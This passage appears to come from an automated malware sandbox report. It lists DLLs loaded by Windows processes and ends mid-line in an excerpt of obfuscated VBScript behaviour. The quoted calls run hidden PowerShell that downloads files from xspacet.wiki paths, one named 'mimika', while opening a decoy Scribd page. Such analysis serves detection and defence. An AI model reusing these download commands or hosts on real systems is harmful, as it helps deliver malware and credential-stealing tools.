Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: comsvcs.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: dlnashext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wpdshext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: ndfapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wdi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: duser.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: atlthunk.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\control.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\control.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\control.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\control.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\control.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\control.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\control.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\control.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\control.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\control.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\control.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\control.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\control.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\control.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\control.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\control.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\control.exe	Section loaded: slc.dll
Source: C:\Windows\System32\control.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\control.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\control.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\control.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\control.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\control.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\control.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dlnashext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wpdshext.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("cmd /c powershell start-process msedge https://www.scribd.com/document/806", "0", "true");IWshShell3.Run("cmd /c powershell start-process msedge https://www.scribd.com/document/806", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell start-process msedge https://www.scribd.com/document/806", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour", "0", "true");IWshShell3.Run("cmd /c powershell start-process msedge https://www.scribd.com/document/806", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimika", "0", "true");IWshShell3.Run("cmd /c powershell start-process msedge https://www.scribd.com/document/806", "0", "true");IWshShell3.Run("cmd /c powershell -inputformat none -outputformat none -NonInteractive -Co", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour", "0", "true");IWshShell3.Run("cmd /c powershell 